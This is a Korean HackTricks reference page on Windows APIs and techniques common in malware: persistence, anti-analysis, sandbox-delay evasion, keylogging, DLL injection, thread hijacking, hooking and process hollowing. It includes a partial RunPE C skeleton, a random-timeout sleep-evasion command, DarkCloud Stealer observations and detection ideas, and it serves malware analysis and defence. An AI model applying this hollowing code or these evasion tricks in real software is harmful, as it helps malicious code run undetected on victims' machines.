# 일반 API (Common API used in Malware) {{#include ../banners/hacktricks-training.md}} ## 일반 ### 네트워킹 | Raw Sockets | WinAPI Sockets | | ------------- | -------------- | | socket() | WSAStratup() | | bind() | bind() | | listen() | listen() | | accept() | accept() | | connect() | connect() | | read()/recv() | recv() | | write() | send() | | shutdown() | WSACleanup() | ### TLS pinning and chunked transport 많은 로더는 TCP 스트림을 `SslStream`으로 감싸고 서버의 leaf certificate를 임베디드 복사본에 대해 고정합니다 (certificate pinning). 봇 정보/작업은 압축됩니다(예: GZip). 응답 크기가 임계값(약 1 MB)을 초과하면, 데이터는 크기 기반 휴리스틱을 회피하고 역직렬화 중 메모리 스파이크를 줄이기 위해 작은 청크(예: 16 KB 세그먼트)로 분할됩니다. ### 영속성 (Persistence) | 레지스트리 (Registry) | 파일 (File) | 서비스 (Service) | | --------------------- | ------------- | ---------------------------- | | RegCreateKeyEx() | GetTempPath() | OpenSCManager | | RegOpenKeyEx() | CopyFile() | CreateService() | | RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() | | RegDeleteKeyEx() | WriteFile() | | | RegGetValue() | ReadFile() | | ### 암호화 (Encryption) | Name | | --------------------- | | WinCrypt | | CryptAcquireContext() | | CryptGenKey() | | CryptDeriveKey() | | CryptDecrypt() | | CryptReleaseContext() | ### 안티-분석/VM (Anti-Analysis/VM) | 함수 이름 (Function Name) | 어셈블리 명령어 (Assembly Instructions) | | ------------------------------------------------------- | ---------------------------------------- | | IsDebuggerPresent() | CPUID() | | GetSystemInfo() | IN() | | GlobalMemoryStatusEx() | | | GetVersion() | | | CreateToolhelp32Snapshot \[Check if a process is running] | | | CreateFileW/A \[Check if a file exist] | | ### 에뮬레이터 API 지문화 및 슬립 회피 (Emulator API fingerprinting & sleep evasion) Malware는 종종 Defender의 virtualised exports(예: Malware Protection Emulator에서 관찰되는)를 검색하여 샌드박스 에뮬레이터를 지문화합니다. 프로세스에서 이러한 심볼이 존재하면(대소문자 구분 없는 스캔) 실행을 10–30분 지연시키고 재확인하여 분석 시간을 소모시킵니다. 카나리로 사용되는 API 이름 예시: - `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*` - `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile` - `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads` 일반적인 지연 프리미티브 (user-land): ```cmd cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul ``` 인자 게이트키핑 - 운영자들은 페이로드 실행 전에 무해해 보이는 CLI 스위치의 존재를 요구하는 경우가 있다(예: Chromium 자식 프로세스를 흉내내기 위한 `/i:--type=renderer`). 스위치가 없으면 loader가 즉시 종료되어 단순한 sandbox 실행을 방해한다. ### Stealth | 이름 | | | ------------------------ | -------------------------------------------------------------------------- | | VirtualAlloc | 메모리 할당 (packers) | | VirtualProtect | 메모리 권한 변경 (section에 실행 권한을 부여하는 packer) | | ReadProcessMemory | 외부 프로세스에 대한 주입 | | WriteProcessMemoryA/W | 외부 프로세스에 대한 주입 | | NtWriteVirtualMemory | | | CreateRemoteThread | DLL/Process injection... | | NtUnmapViewOfSection | | | QueueUserAPC | | | CreateProcessInternalA/W | | ### Execution | 함수 이름 | | ---------------- | | CreateProcessA/W | | ShellExecute | | WinExec | | ResumeThread | | NtResumeThread | ### Miscellaneous - GetAsyncKeyState() -- 키로깅 - SetWindowsHookEx -- 키로깅 - GetForeGroundWindow -- 실행 중인 창 이름 가져오기 (또는 브라우저의 웹사이트) - LoadLibrary() -- 라이브러리 로드 - GetProcAddress() -- 함수 주소 조회 - CreateToolhelp32Snapshot() -- 실행 중인 프로세스 나열 - GetDC() -- 화면 캡처 - BitBlt() -- 화면 캡처 - InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 인터넷 접근 - FindResource(), LoadResource(), LockResource() -- 실행 파일의 리소스 접근 ## Malware Techniques ### DLL Injection Execute an arbitrary DLL inside another process 1. 악성 DLL을 주입할 프로세스를 찾음: CreateToolhelp32Snapshot, Process32First, Process32Next 2. 프로세스를 엶: GetModuleHandle, GetProcAddress, OpenProcess 3. 프로세스 내부에 DLL 경로를 씀: VirtualAllocEx, WriteProcessMemory 4. 악성 DLL을 로드할 스레드를 생성: CreateRemoteThread, LoadLibrary Other functions to use: NTCreateThreadEx, RtlCreateUserThread ### Reflective DLL Injection Load a malicious DLL without calling normal Windows API calls.\ The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function. ### Thread Hijacking Find a thread from a process and make it load a malicious DLL 1. 대상 스레드 찾기: CreateToolhelp32Snapshot, Thread32First, Thread32Next 2. 스레드 열기: OpenThread 3. 스레드 일시중지: SuspendThread 4. 희생자 프로세스 내부에 악성 DLL 경로 기록: VirtualAllocEx, WriteProcessMemory 5. 라이브러리를 로드하면서 스레드 재개: ResumeThread ### PE Injection Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there. ### Process Hollowing (a.k.a **RunPE**) `Process Hollowing`은 Windows 악성코드가 사용하는 대표적인 **defence-evasion / execution** 트릭 중 하나이다. 아이디어는 *정상적인* 프로세스를 **suspended** 상태로 실행한 뒤, 메모리에서 원래 이미지를 제거(hollow)하고 그 자리에 **임의의 PE**를 복사하는 것이다. 기본 스레드가 재개되면 악성 엔트리 포인트가 신뢰된 바이너리(종종 Microsoft 서명됨)의 위장 하에 실행된다. 전형적인 작업 흐름: 1. 무해한 호스트(예: `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`)를 아무 명령도 실행되지 않도록 **suspended** 상태로 생성. ```c STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); ``` 2. 악성 페이로드를 메모리로 읽어 PE 헤더를 파싱하여 `SizeOfImage`, 섹션들 및 새로운 `EntryPoint`를 얻음. 3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – suspended된 프로세스의 원래 이미지 베이스를 언맵. 4. **VirtualAllocEx** – 원격 프로세스 내부에 `SizeOfImage` 크기의 RWX 메모리를 예약. 5. **WriteProcessMemory** – 먼저 `Headers`를 복사한 다음 섹션들을 순회하며 raw 데이터를 복사. 6. **SetThreadContext** – 컨텍스트 구조의 `EAX/RAX` (`x64`에서는 `RCX`) 또는 `Rip` 값을 패치하여 `EIP`가 페이로드의 `EntryPoint`를 가리키도록 함. 7. **ResumeThread** – 스레드가 계속 실행되어 공격자가 제공한 코드를 실행함. 최소 PoC (x86) 골격: ```c void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){ // 1. create suspended process STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi; CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); // 2. read remote PEB to get ImageBaseAddress CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread,&ctx); PVOID baseAddr; ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL); // 3. unmap original image & allocate new region at same base NtUnmapViewOfSection(pi.hProcess,baseAddr); PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); // 4-5. copy headers & sections … // 6. write new image base into PEB and set Eip WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL); ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread,&ctx); // 7. run! ResumeThread(pi.hThread); } ``` 다음은 **DarkCloud Stealer** 캠페인에서 관찰된 실무 노트: * 로더는 `RegAsm.exe` (part of the .NET Framework)를 호스트로 선택 — 서명된 바이너리로 눈에 띄기 어려움. * 복호화된 VB6 stealer (`holographies.exe`)는 디스크에 *드롭되지 않음*; hollowed 프로세스 내부에서만 존재하여 정적 탐지를 어렵게 함. * 민감한 문자열(regexes, paths, Telegram credentials)은 문자열별로 **RC4-encrypted** 되어 런타임에만 복호화되므로 메모리 스캔이 더 복잡해짐. 탐지 아이디어: * 메모리 영역이 **RWX**로 할당되기 전까지 GUI/콘솔 윈도우를 전혀 생성하지 않는 `CREATE_SUSPENDED` 프로세스에 대해 경보를 생성(정상 코드에서는 드문 동작). * 서로 다른 프로세스에서 `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` 호출 시퀀스를 탐지. ## Hooking - The **SSDT** (**System Service Descriptor Table**)는 커널 함수(ntoskrnl.exe) 또는 GUI 드라이버(win32k.sys)를 가리켜 사용자 프로세스가 해당 함수를 호출할 수 있게 합니다. - A rootkit은 이러한 포인터를 공격자가 제어하는 주소로 수정할 수 있습니다. - The **IRP** (**I/O Request Packets**)는 한 구성요소에서 다른 구성요소로 데이터를 전달합니다. 커널의 거의 모든 것은 IRP를 사용하며 각 디바이스 오브젝트는 훅될 수 있는 자체 함수 테이블을 가집니다: DKOM (Direct Kernel Object Manipulation) - The **IAT** (**Import Address Table**)는 종속성을 해결하는 데 유용합니다. 이 테이블을 훅하여 호출될 코드를 가로챌 수 있습니다. - **EAT** (**Export Address Table**) Hooks. 이러한 훅은 **userland**에서 수행할 수 있습니다. 목표는 DLL이 내보내는 함수를 훅하는 것입니다. - **Inline Hooks**: 이 유형은 달성하기 어렵습니다. 함수 코드 자체를 수정하는 것을 포함합니다. 예를 들어 함수 시작 부분에 점프를 삽입하는 방식이 있을 수 있습니다. ## References - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/) - [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/) {{#include ../banners/hacktricks-training.md}}